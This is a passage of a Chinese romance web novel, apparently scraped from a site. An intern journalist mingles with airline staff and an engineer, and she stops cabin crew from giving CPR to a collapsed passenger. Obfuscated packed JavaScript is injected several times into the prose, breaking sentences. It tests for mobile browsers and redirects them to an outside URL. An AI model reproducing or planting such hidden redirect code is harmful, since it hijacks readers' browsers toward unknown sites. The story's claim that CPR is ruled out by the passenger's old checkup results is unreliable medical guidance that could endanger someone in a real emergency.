池雪露虽然在打电话，可耳朵也不聋，那小脸顿时就垮下来了。魏萱吓得一边跟赵南使眼色一边双手去接池雪露的杯子。可没想到池雪露已经很不高兴了，咯噔一声将杯子撂在了桌子上，然后扭头便出了茶水间。 “别理她，谁规定领导就可以插队的，一天天的，也不知道谁惯的毛病。”赵南果然是奇葩，是公司里为数不多不喜欢池雪露的男人，这句话竟然还抬高了音量。 魏萱能很清楚地感受到，池雪露听完这句话，整个人更炸毛了。 “拜托，那可是我的顶头上司……”魏萱一脸哀怨地瞪了一眼吊儿郎当的赵南，从他手里接过自己的咖啡杯，又把池雪露的那杯倒满，而后便叹了一口气，紧跟着池雪露向她的办公室走去。 “没出息……”赵南耸肩，混不在意。 都快到秋天了，可这间办公室的冷气还是开得很大，魏萱站在那，忍不住抖了抖。池雪露依旧在旁若无人地打电话，银铃般的笑声不时响起，耳边的银色链条耳环轻轻敲打在锁骨上。魏萱不好意思直视她，便呆呆看着柜子里的奖杯证书发呆。那些奖杯明晃晃的，特别好看。 直到，办公室里讲电话的声音忽然结束，魏萱才抬起头，撞上池雪露冰冷厌恶的目光。“魏萱。” “在。”魏萱的身子挺得更直了。 池雪露白皙的指节轻轻敲在桌面上，目光有些复杂道：“魏萱，你要知道，你这样下去，我是不可能让你转正的。” 一句话，顿时戳中了魏萱的命门。“雪露姐，如果你觉得我哪里做得不好，你可以告诉我，我一定会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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不出意料，市图书馆的半开放区域依旧在办讲座。因为心里有事，魏萱的脚步没有多做停留，直到耳边忽然响起一道温润清冽的男声，她忽而就心中一跳。 这个声音，是昨天在停机坪上听见的。她抬眸看去，果然看见穿着立领白衬衫的傅予深手持麦克风，正垂眸翻动着手里的材料。纯白的通顶书架为背景，他气质斐然，线条硬朗，锻炼得宜的身体配上微微松开的领口，是恰到好处的禁欲感。 魏萱眼尖，瞥见那讲座的题目是民航安全科普，她一时动了心，脚步不自觉地迈向了他所在的方向。这里的人不算太多，但魏萱依然选择了一个角落，甚至压了压自己的棒球帽。虽然，她也不知道自己在躲避什么。 坐得近了，才发觉他的袖子微微向上带了一些，露出若隐若现的青筋。她忍不住想，就是这双手治愈了飞机的每一个故障。就是这个人，年纪轻轻就成为了民航业内首屈一指的知名工程师。她很叹服，也觉得他很是高不可攀。就连从前看那些明星的时候，她都从来没有过这样的感觉。 5. 蹭车 随后，心思一点点被他温和清淡的声音代入进去，她渐渐沉浸在了他的发言里。这会，魏萱才后知后觉地发现，他所讲述的内容与航空公司日常的维修工作有很大的关联。虽然与自己的采访内容无关，但她莫名觉得这可能是一个很好的切入点，所以便认真地记了起来。 可是，时不时的，她还是会被他熨帖笔挺的衣领和脖颈处那枚没有颜色的透明纽扣所吸引。 直到，主持人领掌的声音响起，魏萱才收回心神，合上密密麻麻的笔记，一道与大伙鼓起掌来。他讲得的确很好，深入浅出，简单明了。就连魏萱这个行外人也听懂了不少。 原本，魏萱以为讲座之后还会有提问和合影环节，没想到主办方一概推辞了，甚至忙不迭地请了三四个人将傅予深护送出门。她不由得苦笑，想想也是，业内被保护得像大熊猫似的人物，又长了一张明星脸，肯定是要好好照顾的，哪里能让大伙借机沾光。 人都散了，魏萱自然也没有浪费时间，正了正棒球帽，便向图书馆顶楼走去。所有的报刊杂志都存在那，而且还可以提供影印服务。市图的氛围好，魏萱不知不觉就呆了一下午，等到抱着一摞影印版出门的时候，已经快要到黄昏时分了。 这会，她才发觉原来外面已经下雨了。早上出门匆忙，她没带伞，只好跑到公交车站下面一遍等公交一边躲雨。乌黑的发丝有些许的湿润，眼眸也因朦胧的天气而显出几分潋滟，背包里是笔记本电脑，手里还抱着一摞影印材料。所以是狼狈的，但狼狈里其实又有少女的美好。 不过，下了雨的天的确挺冷，魏萱垂眸看了一眼自己的白色短裤，深觉早上不该不看天气预报就出门。再这样下去，她牙齿都要打架了。偏偏今天的公交车又慢，左等右等都不来，反倒是一同等车的几位少女，全都被各自的男朋友接走了。有心善的，向她投来一个同情的眼神。 魏萱垂下眼眸，自觉那些或是高档或是普通的轿车都跟自己没有关系。 就在此时，眼帘里映入一辆轮毂漆黑，车身巨大的黑武士，它逐渐放慢速度停在自己面前。碰巧，魏萱之前做过一家4S店的报道，所以认识这辆车，一百多万的凯雷德。 她的头垂得更低了，只看着脚尖上的雨水蹙眉。没想到，头顶上方响起了一道淡淡的声音。 “要上车吗。” 是很好听的声音，能勾得人心弦一颤那种。 魏萱抬眼，撞上一张落拓矜贵的脸，他眼眸如夜空漆黑，皮肤很白，在车身的映衬下显出一种不由分说的冷感。 “我……”魏萱忍不住左右张望了一圈，直到确认身边再没有一个像自己这样等公交的乘客了，才抖着鸦羽般的睫毛轻声道谢。“不用不用，我等公交就可以，傅工程师，您快走吧，天已经很晚了。” 借着说话的空，她更细致地看了他两眼，只见方才的衬衫外头穿了件黑色外套，露出冷白修长的脖颈。车里有暗黄色的灯光，让他分明的棱角多了些许柔和。 傅予深修长的手指压在方向盘上，远远看了一眼天边愈发凝重的乌云。语气多了几分压迫感。“没有公交了，你去哪里，我应该顺路。” 自然是顺路的，市图在郊区，两个人肯定都要回市里。这话不是客气。魏萱想了又想，觉得再不答应实在有些不懂事，于是便点点头，坐在了副驾的位置上。 然后。她很明显地闻到了他身上的味道。是一种淡淡的冷调香，混着外面雨天湿漉漉的气息，也有汽车自带的那种清新，总之一股脑钻进鼻息，让她思绪有些混沌。 随后，他骨节分明的手轻轻拨动方向盘，汽车驶离了公交车站。 真有趣，魏萱头一回在等公交的地方等来了一辆只接自己的车。虽然只是顺路的。 车内静谧极了，只有外头的雨声和汽车鸣笛声偶尔传来。魏萱以为傅予深会打开音乐驱逐这份沉静，但他没有。而且，他似乎也没有说话的欲望。 魏萱忍了一会，到底还是忍不住道：“我们顺路吗？” 傅予深反问。“你去哪里？” “都可以，只要有地铁站的地方就行。”魏萱顿了顿，又道：“或者，如果你路过云里大厦的话。” 傅予深嗯了一声，却并没有说到底会停在哪里。魏萱莫名觉得脸有些烧，便划开手机假装看消息。没想到屏幕刚亮，便听见他的声音轻轻响起。 “那天硬币的事，谢谢你了。” “没什么的，举手之劳而已。”魏萱赶紧锁上屏幕，又有些拘谨道：“没想到傅工程师竟然还记得。” “我记性还挺好的。”他似乎浅浅笑了一下，气质里便多了些温和。魏萱嗯了一声，扭头看着车渐渐驶入市里，商铺的橱窗越来越明丽豪华。这样的夜景，是很能迷惑人心的。她在这一刻，忍不住对这豪华的城市产生了一丝贪恋。 但就在这会，中控台上的手机忽然亮了。是傅予深的手机，魏萱不自觉地看了一眼，而后便看见了范姜合的名字。 她的名字真好听，看一眼，也会觉得叫这个名字的人一定是个美女。 傅予深没动手机，似乎是用耳机接了电话。她尽量不去听他们的对话，但他的声音还是难以抑制地传过来。 “你说记者吗？嗯，你安排就好，餐厅那边我会预付。” 魏萱只听见傅予深说了这么两句话，剩下的似乎全都是范姜合在说。因为他在反复用手调整耳机的舒适度，所以魏萱偶尔能听见一些。电话那头，范姜合笑得很开心，语气也很温柔甜美。 他们很配。魏萱的脑海里浮现出这几个字，随后她连自己的呼吸声都压制了，唯恐引起不必要的误会。没想到，两个人的电话却已经结束了。 而后，在魏萱以为一切与自己毫无关系的时候，他对着她说。“她说，想请你吃饭，替我道谢。” 魏萱这才后知后觉，原来两个人方才谈论的记者竟然是自己。看来是范姜合想请自己吃饭道谢，不过傅予深不去，只肯付账买单。她有些意外，赶紧推辞：“不用这么客气的，我真的没帮上什么忙。” “一顿饭而已。”他看着眼前的路，手腕上的腕表泛着幽微光芒，声音淡哑，听不出任何情绪。 魏萱还想再说什么，但眼前已经出现了云里大厦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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起了个大早，魏萱依旧精神抖擞。她绑了个高马尾，露出白皙修长的脖颈。每次苏晓看见这个发型，都会惊叹魏萱跟个高中生没有区别。 再见到范姜合，她依旧是修身精致的空姐制服，即便站在人堆里，她也是长得最好看，腿最长的那一个。而众人围在她身边，更有了几分众星捧月般的意味。 魏萱与众人在客舱上打过招呼，便开始钻研她们带过来的材料，那是空乘们的日常考核指标。了解这些指标，对写出关于客舱服务质量的报道多少有些作用。大伙给她留了相对静谧的空间，各自做起了起飞前的准备工作。 没想到，因为南方某部演习，所以这趟航班推迟起飞了。众人手上的动作便都停了，那边也开始安排机务，正好将一个无关紧要的检查项目做了。 “傅予深也在。”不知谁开了个头，原本在休息的众人都立刻站起身来，从飞机舷窗向外看去。魏萱就坐在最后一排的舷窗旁，此刻也忍不住向下瞥了一眼。今天太阳大，傅予深高耸的鼻梁上多了一副黑色的墨镜。这样一来，他的气质更卓群了。俊美高大的身影远远站在蔚蓝与雪白相间的钢铁巨翼旁，像极了承包私人飞机的总裁。 6. 笔记 “都是工作服，总觉得傅予深的那件剪裁不一样呢。” “哎呀，衣服也是挑人的。他那么低调，就算真的定制了什么衣服，也不可能穿到机坪上来啊。” “是啊，之前新入职的那批机务闹着要聚餐，大伙都张罗去他家，可傅予深不肯。韩大宇算是跟他不错的了，也不知道他家到底什么样。” 范姜合闻言笑了笑，摇头道：“他就那样。别说去他家了，我和他这么熟，却连他的车都没坐过呢。总觉得，他是有点轻度洁癖的。” 一句话，说得魏萱的笔顿了顿。她不知自己心里在想什么，但莫名有些跳得厉害。不过很快，众人的议论声就将她的心思湮没了。 “真的啊？连姜姜姐你都没坐过傅予深的车啊？那咱们这辈子是别指望了。” “他开什么车？” 范姜合停顿了一下，随后抬眸一笑。“好像是凯雷德？挺小众的车吧，我也不知道多少钱。下次有机会帮你们问问，我想，咱们蹭个车应该还可以吧。” “有姜姜姐的面子，怎么可能不行。”“就是，改天说出去我也坐过傅予深的车了，不知道得有多少人羡慕。”有人打趣说着，范姜合的脸颊就有些发烧了。 这会，韩大宇晃晃悠悠地走上飞机，准备进驾驶舱的空档，他忽然想起什么，扭头冲着大伙说了一句。“……方便下去一趟不，深哥找。” 前头的话是在驾驶舱说的，众人没听清，但都猜到了是范姜合，赶紧推了推她道：“哎呀，还得是姜姜姐，这才上班多大一会，深哥就放不下了。” “可能是晚上吃饭的事吧。昨晚我两说好了的，不过，怎么不发微信呢。”范姜合像是自言自语，声音却很轻快。大伙都听见了，忍不住开始凑热闹。“姐，从实招来，你两在哪说好了的，怎么说好的？” 吃瓜的眼神都很热烈，以至于范姜合的脸瞬间红温。“行了行了，你们别闹了。”她推开大伙，正了正短裙，迈开长腿准备下飞机。 旁的空姐都在旁边嘻嘻笑起来，笑声里不免掺杂着几分羡慕。 可脚步没走多远，韩大宇就有点疑惑地探出头来。“小记者下去了吗？” “什么小记者？”范姜合脸色一白。 韩大宇哦了一声，大大咧咧道：“就是深哥找的那个小记者啊。他说有事找她，我也不知道什么事。” 飞机就那么大，从前到后，谁都能听见韩大宇的话。魏萱脸色变了，范姜合笑不出来了，空姐们全都犯嘀咕了。 差不多大伙都顿了几秒钟，范姜合才莞尔一笑。“魏记者？快出来，傅予深说有事找你呢。”说着，她又懒懒瞪了大伙一眼。“我警告你们啊，不许大惊小怪的，肯定是工作的事。” “啊……”大伙恍然大悟，顿觉没趣。也是，傅予深什么身份，怎么可能看得上那种初出茅庐的小记者。 随后，范姜合温温柔柔提醒魏萱下飞机的时候慢一点，便很快回到了人堆里。“也不知道什么时候能起飞。”她淡淡开口，眼神略显焦急地往跑道的方向看了一眼。 “怎么着也得下午了。对了，经理那边说，之后魏记者的跟机任务都跟着姜姜姐你走。姜姜姐，你想着点啊，有些手续别忘了帮她办。” “嗯，我知道。”范姜合顿了顿，随后淡淡笑了笑，自言自语道：“不过，我后半个月的飞行任务还挺多的。也不知道她能不能吃得消……” …… 魏萱也没想到，傅予深此刻手里递过来的竟然是自己的笔记本。这个笔记本是昨天去图书馆之前临时从办公室抓的，公司定制款，池雪露最爱的黑色封皮。所以大约是被自己遗漏在了车座上。 她没太好意思看傅予深的脸，总觉得戴上墨镜，他反而更加耀眼了。她只看见了他净白的指节，也听见了他成熟而随意的一道声音。“是你的吧。” 魏萱毫不犹豫地点点头，没触碰到他手的任何一个部分，双手接过了自己的笔记本。“真抱歉，给你添麻烦了，下次我一定……” 怎么说？下次还能坐他的车吗？魏萱自觉不可能，于是这话就有些尴尬了。傅予深却笑了笑，声音清和道：“下次可别再丢了。” “嗯嗯。”魏萱再次点头，贝齿有些发狠地咬住嘴唇。 对话到此，戛然而止。傅予深抬手看表，魏萱不敢再耽误，又说了句给你添麻烦了，便迫不及待地扭头上飞机。 正好撞上韩大宇那高高大大的蓝色机务服。“魏记者。”他挠头笑了笑，眼风却忍不住往傅予深的方向看了一眼。 这个眼神，魏萱高中和大学的时候都见得很多，就是那种看着两个同学忽然暧昧起来，身边的人忍不住吃瓜的眼神。 别，不是这样的。魏萱迫不及待地想解释，却又一个字都说不出来。好在那边傅予深忽然开了口，叫韩大宇做绕机检查。 眼前的男人瞬间收敛了神色，一脸严肃地离开了。魏萱这才松了一口气，把笔记本藏在了黑色卫衣身后，急匆匆地上了飞机。还好，没有被大伙发觉。 有人还是好奇，摆弄着手里的手册头也没抬地问了一句。“魏萱，深哥找你什么事啊？” 魏萱怔了怔。自己能说实话吗？不会引起别人误会么。正犹豫的功夫，范姜合已经替她回答了。“报道的事，对吧。” 看着范姜合眼神里的笃定，魏萱还能说什么，只能机械地点了点头。范姜合笑了笑，拉着魏萱往后舱便走便递过一个沉甸甸的手机，上面亮着的是一个app的页面，最上面写着排班表几个字。 魏萱接过去，范姜合的话紧跟着丢过来。“这是我后半个月的排班表，公司那边说，你都要跟飞，行程和我完全一致，可以么。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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接下来的日子再没有了那天在图书馆的奇遇。整整半个月，魏萱的生活每天除了熬夜写稿便是跟飞。 直到那一天的红眼航班。 魏萱照例坐在客舱最后一排给自己预留的座位上，然后默默看着乘务员清点人数。过不一会，飞机舱门关闭，飞机如如往常一般慢慢滑向跑道。没想到，就在这会，前边的座位忽然传来一阵骚动。 魏萱最先发现，只见一位中年男人脸色铁青，此刻已然晕厥过去，彻底不省人事。看上去应该是独自出门的旅客，因为周围的人都有些惊惶担忧地躲开了。有离得最近的空姐最先反应过来，立刻半蹲下做检查，旋即便脸色惨白地回过头来。“姜姜姐，旅客神志不清，突发晕厥，怀疑是心脏骤停了。” 7. 旅客 不得不承认，只有遇上这样的大事，才能考验空乘团队的应变能力。而事实证明，作为乘务长，范姜合的确思路清晰又镇定冷静。“去告诉机长这件事，让他决定是否调头。你去安抚其他乘客，让大家不要惊慌。广播问一问，机上有没有医护人员。你去尽快联系地面，看看医疗方面能不能派人手过来……” 大伙分别领了任务，只有一个年岁稍大的空乘与范姜合一道留了下来，继续检查那位旅客的身体状况。然而，男人的脸色越来越差了。 客舱渐渐安静下来，发病旅客周围的其他旅客也被安排到了飞机其他的空余位置上，让这里显得安静了一些。这会，她们得知医疗方面至少还有五分钟才能赶来。而且，另一个坏消息是这趟航班上没有任何医护人员。 听见这话，范姜合脸色微变。“我觉得旅客未必能撑得住五分钟。” “心肺复苏？”另一位空乘问道。 范姜合咬咬嘴唇，“心肺复苏或者这趟飞机上也配备了除颤仪。用法，咱们都学过。” “那我们向医疗方面请示一下吧，半分钟足够。”另一位年长空乘飞速道。范姜合嗯了一声，年长空乘立刻夺步向后舱走去。 明航的各个系统反应都很快。魏萱觉得好像不过二十秒钟，空乘已然走回来，一脸坚定道：“如果可以排除外伤，就可以安排心肺复苏。” “没有外伤。”范姜合撂开乘客的上衣看了一眼，而后便动作利落地开始准备心肺复苏的事。首先，是要让旅客在开阔平坦的地方躺好。空姐们训练有素，魏萱帮不上忙，便在旁边跟着咬牙用力。就在这会，她瞧见旅客的座位上躺着一个随身的公文包。公文包的搭扣没有合拢，因此能清晰地看见里面有一摞白纸，白纸右上角还有一个医院体检部的logo。 看来旅客未必不知道自己的疾病。她蹙蹙眉，又垂下眼眸向那位乘客看去，只见这会，范姜合等人已经做好了心肺复苏的准备，同时除颤仪也在旁边备好了。自然，除颤仪轻易不会使用，除非医疗方面赶过来。 “可以了吗？”有人问范姜合。范姜合毫不犹豫地点点头。然而，就在她交叉的双手即将触碰到那位旅客的胸膛时，魏萱忽然开了口。 “等一下！” 她的声音不大，但在这种紧张安静的局面下，还是吸引了所有人的注意力。 “怎么了？”问话的是年岁较大的那位乘务，范姜合甚至没有抬头。魏萱也有点忐忑，可有些话不说，她忍不住。 “给我半分钟。”时间有限，魏萱也不多做解释，迅速地走到了那位旅客的公文包前面。 范姜合蹙蹙眉，似乎终于忍不了了，直起身道：“魏记者，我尊重你是一个记者。但现在，不是你找采访素材的时候。人命面前，一分一秒都是金钱，你应该清楚这一点吧。” 一句一句话落在魏萱的耳中，她不是听不见，但她此刻顾不上。可周围的人都开始替范姜合开口了。“姜姜姐说得对，魏记者，你如果没事的话，我们必须立刻进行心肺复苏。”“时间不等人。” “等一等，等一等。”魏萱迅速翻动着手里的体检结果。范姜合原本非常不耐烦地看着她，可忽然瞥见纸张上的logo，她的脸色立刻变了。 找到了。在众人焦急的眼神里，魏萱终于找到了。 “不能做心肺复苏！”她指着体检结果一脸笃定道：“旅客是心包腔积血，胸前有血块堵塞。这种情况下如果做了心肺复苏，可能会加重病情。还有，以防万一，请再确认一下这份体检结果属于这个旅客，体检结果上面的名字是吴安平！” 话音落下，众人早已傻眼。而不知何时，傅予深已经出现在了她们身后。显然他也听见了魏萱的话，迅速开口道：“暂时不要有任何操作了。医疗方面已经进场，马上登机。” “是他，是吴安平。”有人对着魏萱点了点头。魏萱看出她眼神里有几分感激，总算稍稍松了一口气。但范姜合脸色依然不好，也没有对着魏萱开口，只是摘了手套，咬咬嘴唇看向傅予深。“还好你来了。”她轻声说。 紧张氛围下，骤然听见这么柔软的话，魏萱不由得怔了怔。可没想到，傅予深却没有理会范姜合，反而冲着自己伸出手来。 ？魏萱反应了一下，才意识到傅予深是在索要自己手里的体检结果。她立刻将带着温度的体检结果递过去。因为着急，所以无意中触碰到了他微微发凉的手指。 还好他倒是没表示什么反感，不过魏萱还是赶紧缩回手来。随后，她看见几位身穿白衣的医护人员鱼贯而入。 “是严重心包积血，需要尽快安排穿刺。我们s市的医疗专家都不在，看来我们得转去g市了。”“那我们马上沟通g市的医疗团队。”众人七嘴八舌地说着，说到最后，还是说到了飞机上。所以大伙的视线再次集中在了傅予深的身上。 他是个耀眼的人，永远都是。即便此刻，你也能感受到他站在那里，宛如定海神针一般的气质。而他一开口，众人下意识就安静了，天生上位者，大概如此。 傅予深略略沉吟。范姜合见他犹豫，开口道：“予深，要不就这架飞机走吧。医疗团队跟飞，你也跟飞，应该可以。” “今天的飞机是飞往s市的，燃油不足以撑到g市，中转加油……另一架飞机还有一项检查，放行的话……” 因为旁边有飞机起落的声音，所以魏萱听得断断续续，不过她听清了他的最后一句话。“我去申请，用另一架返程飞机，提前完成检查任务，单独安排人，空机飞。” 空机飞，事后陆思羽给魏萱解释了，是指乘客只有一个或者两个的情况下，完成飞行。 这会，因为有医疗方面的人在，所以旅客的状态也算稳定下来了。众人都松了一口气，傅予深的申请结果也下来了。明航方面同意用返程飞机安排发病旅客，同时医疗方面出一个人跟机，傅予深也作为保障机务亲自跟机。 魏萱垂眸看了一眼时间，真让人意外，全程只用了不到十分钟。 “你们正常起飞吧。”傅予深带着医疗方面的人转移走了发病旅客，扭头对着范姜合说道。范姜合点点头，微微上挑的眼尾露出一丝疲惫。“那你也辛苦了。” “我没事。你还好吧。”他问。 范姜合浅浅嗯了一声， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这会是五点，魏萱实在困极了，但又惦记着稿件，索性在整个人都埋进被子之前定了个八点半的闹钟。可不等关上手机，微信的通讯录界面忽然跳出来一个头像。并不是添加好友的请求，而是微信根据手机通讯录自动推荐来的。 可能是韩大宇的头像吧。魏萱随手点进去，只见是一个拍摄在廊桥上的男人侧影，身形健硕，手握对讲，眼眸深垂。 魏萱一下子就愣住了。这不是韩大宇的微信，这是傅予深的。也就是说，昨晚自己的短信直接发给了傅予深。 似乎困意散去不少，魏萱抱着软绵绵的被子，点开了他的朋友圈。果然他是喜欢极了飞机的，连背景图也是飞机的剪影，蓝天白云，云朵碰巧是心形，太阳正好被机身挡住一半。 别的就再没有了，没有个性签名，也没有一条朋友圈。 还真是挺低调的呀。魏萱暗自感叹了一句，而后慢慢锁上了手机。还是睡觉吧，除了报道，一切的事，一切的人与自己都没有关系。 可这样的念头并没有维持太久。因为等她醒来再睁眼时，微信的通讯录又弹出了消息。可这一次，不再是微信的自动推送了。 而是，傅予深给她发来了好友验证。 8. 奖金 魏萱只觉得心里有什么东西剧烈地颤动了一下，随后，她再次点开了他的头像。头像当然毫无变化，这是个完全多余的举动。可魏萱还是在这个页面停留了片刻，才通过了他的验证消息。 本以为他不会发消息过来，没想到，验证消息刚通过，便有一条微信弹了出来。傅予深的微信名字很简单，只有傅予深两个字。这几个字分开看都很普通，但放在一起，就莫名好看起来。 “手术很成功，旅客安然无恙。”傅予深的微信只有这么一句话，却让魏萱忍不住笑了。这是她跟飞这么多天以来最好的一个消息了。 “谢谢你把这个消息告诉我。”魏萱打字的速度很快。手机明亮的屏幕映衬着她微微上挑的唇角和明媚的眼眸。那是一张很可爱的脸，连粉底都不用，就很白皙。 屏幕上显示了一会对方正在输入，随后魏萱又收到了他的消息。没想到，竟然是表扬自己的话。 “公司方面说，你功不可没。” “没有没有，真的是举手之劳。”魏萱飞速回答，眼神始终盯在屏幕上。但没等等到对面的消息，先等来了陆思羽的微信和张莉萍的电话。魏萱先接了电话，对面是咯咯笑着的张经理。 “魏记者！你帮了大忙！要不是你及时阻拦，这位旅客的病情恐怕就恶化了。副总说了，这回的事，可得好好向你们公司道谢，培养出了这么优秀的员工。” “我只是无意中发现的，张经理您太客气了。”魏萱赶紧推辞。 听见她的话，张经理的语气严肃了一些。“魏记者，我看得出来，你是个年轻懂事的好记者。所以有些话我就跟你直说了。我们的员工培训虽然自认做得很到位，但像这种极特殊的心包炎导致的严重心包积血实在没有遇到过，所以真的要特别谢谢你帮我们规避了这次风险。否则，我们不敢想象后果有多严重。” 她这么一说，魏萱也不好意思再客气了，只是轻轻说了两句没关系。张经理这才满意了，又毫不犹豫地对她道：“有了这回的事，你也不用太担心报道的事了。我想只要你能写出差不多的报道，公司高层方面都会很满意的。” 果然，姜还是老的辣，人家一下子就看出自己的心事了。魏萱连连道了谢。 挂了张经理的电话，陆思羽的语音电话又打进来。魏萱接过来，听见的便是她嘻嘻的笑声。“喂，你挺厉害啊，听说范姜合挨批了，因为你？” 魏萱有一瞬的惊讶和愧疚，但很快陆思羽就摆了摆手：“好像不是因为昨天旅客的事，是你跟飞的事。” “我跟飞？”魏萱一脸诧异。 “是啊，好像说空地交流的时候，有人提到了你跟飞的事。分管外联的副总不满意了，说怎么能让人家公司的记者跟这种红眼航班。然后就把你的跟飞表调出来了……哈哈哈，据说当时全场都震惊了，那飞行任务都快赶上两个空乘加在一起的了。后来飞行部说，是范姜合自己主动申请的，副总当时就不乐意了。领导不高兴，飞行部当然不会无动于衷，听说给范姜合劈头盖脸说了一顿……话说回来，我说魏记者，你是不是得罪范大美女了？” “我……”魏萱语塞了。她唯一能想到的一件事，就是蹭了傅予深的车…… “算了，你也别在意了。”陆思羽似乎察觉到她的不快，笑眯眯道：“其实有时候，不是所有人都像看上去那么光鲜大方的。” 这话似乎有点深意，但陆思羽没有细说，而是很快道：“总之呢，你这次可是立了大功了。好啦，我不打扰你了，你赶快写报道吧。应该快到deadline了。” 魏萱点点头，又问道：“如果写完的话，你能帮我看看初稿吗？毕竟是跨行业，我怕我会犯一些常识性的错误。陆思羽毫不犹豫地答应下来，于是两个人约好了后天见面，顺道一起吃个午饭。 挂了电话，魏萱发现自己与傅予深的对话框再没有了新消息。看来，他只是为了向自己告知那位旅客的现状，才特意加上了自己的微信。 或许，傅予深还不知道他的女朋友范姜合因为自己而受到了公司批评的事吧……否则，又怎么可能主动加自己的好友呢。如果知道了会怎么样呢？魏萱有点头痛，不敢想他发起脾气的样子。 算了，不想了。魏萱的手指轻轻划过他的头像，而后坚定地锁上了屏幕。 又过了两天，魏萱准备好了打印版的稿件，与陆思羽在一家餐厅碰了面。其实以魏萱的实习工资，选这样的一家餐厅不算便宜，可为了转正，她也不能小气。 没想到，陆思羽一进门，先神神秘秘地递过来一个信封。魏萱有点惊讶，开口问是什么。陆思羽笑了笑，从里面抽出一个红色烫金封皮的证书。“喏，明航特别贡献奖。” “？”魏萱惊呆了。 “很值钱的。我们明航每年都会给一些行业外人士发特别贡献奖的证书，不过大多是给那些科研成果被我们采用了的科研人士发，像你这种情况，还是第一次呢。而且你运气好，正好赶上评选的尾巴，所以证书就下来啦。喏，这里还有一万两千块钱。” “还，还有钱？”魏萱更诧异了。陆思羽笑了笑道：“是啊，有证书的都有钱。我们公司也是按照劳务报酬给你做的，税前其实是一万五。虽然钱不多，但我想你刚毕业，这笔钱对你还是有用的吧。你不用客气，这都是你应该的。” 说实话，魏萱的实习工资每个月是四千多块，去掉一半房租，剩下的也只够勉强生活。这也是她妈妈不喜欢她留在这里的原因之一。可现在，她一下子就有了一万多的巨款。也就是说，即便真的失业，也能在这里挺过两三个月了。 更让她高兴的是，那张明晃晃的证书真的很好看。楷体的魏萱二字被放在最前头，与落款处明航的印章遥遥呼应。 “如果你求职的话，我觉得这个证书还是挺有说服力的。”陆思羽补充道。 魏萱白皙的指腹划过证书的封皮，眉眼都弯了起来。 有了钱，两个人吃饭都大方了一些，足足点了六道菜。陆思羽私下跟苏晓很像，都是开朗型的女孩，所以一边大吃特吃，一边又说起了魏萱最新的跟飞安排。 吃得差不多，陆思羽翻开了魏萱的稿件。魏萱还挺紧张的，毕竟陆思羽多少代表着明航方面的意见。没想到，不到五分钟，陆思羽就拍着桌子给出了定论。 “说实话，魏记者，这篇报道挺出乎我意料的。虽然内容老旧，没有什么新意，但你的角度选得的确很好。你从空乘的角度去写了对人性化服务的理解和做法，又从清洁队阿姨的两件小事写出了明航人的自我约束力和敬业精神。魏记者，我要是高层，我想我会满意的。” “真的吗？”魏萱眼眸里闪过浓浓的惊喜。其实昨晚她偷偷给苏晓也发了初稿。苏晓说从她个人角度而言也觉得这篇报道写得不错，将明航的亮点全都写出来了，应该能起到对明航有所助益的作用。 两个人都给了自己肯定，魏萱心里更有底了。其实她也觉得，虽然这篇稿件没有什么爆点，但的确也算得上上乘，远超过中规中矩四平八稳的水平。 她心里高兴，索性也多吃了一些。直到半小时后才叫来了服务员说要买单。 “买过了。”服务员指了指对面半遮挡包房里的两个男人，其中一个长得很温雅，连陆思羽看了都忍不住打趣。“他不会是喜欢你吧，魏记者。看来你也挺火的嘛。” 魏萱却脸色一冷，摇摇头道：“不是，这个人是我之前的学长。” 韩逸。 “学长？”陆思羽挑挑眉。魏萱却按住了她的肩膀。“你等我一会吧，我有话要问他。” 陆思羽说了一句好，便靠在椅背上有一搭没一搭地刷起了手机。魏萱则几步冲到了韩逸面前，拧着眉头道：“我有话想问你。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15392817|168619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 韩逸各方面的条件还可以，只是人狗了点。瞧见魏萱，他笑了笑，与她一道走出了门。“请你吃个饭，你不用客气。”他笑嘻嘻。 魏萱双手抱肘，咬着嘴唇道：“你说实话，你到底是怎么跟雪露姐说的？她到底为什么那么不喜欢我？” 听见这话，韩逸挠了挠头。“没怎么说吧，我都记不清了。” “你做个人吧。”魏萱气呼呼。 韩逸听见这话，脸色顿时一变。“你别给脸不要脸啊，我都请你吃饭了，至于么。多大点事啊，我不就是说你当不成记者么。本来就是，你一个村里出来的小姑娘，知道什么叫记者啊？人家池雪露那样的，才叫记者呢。” 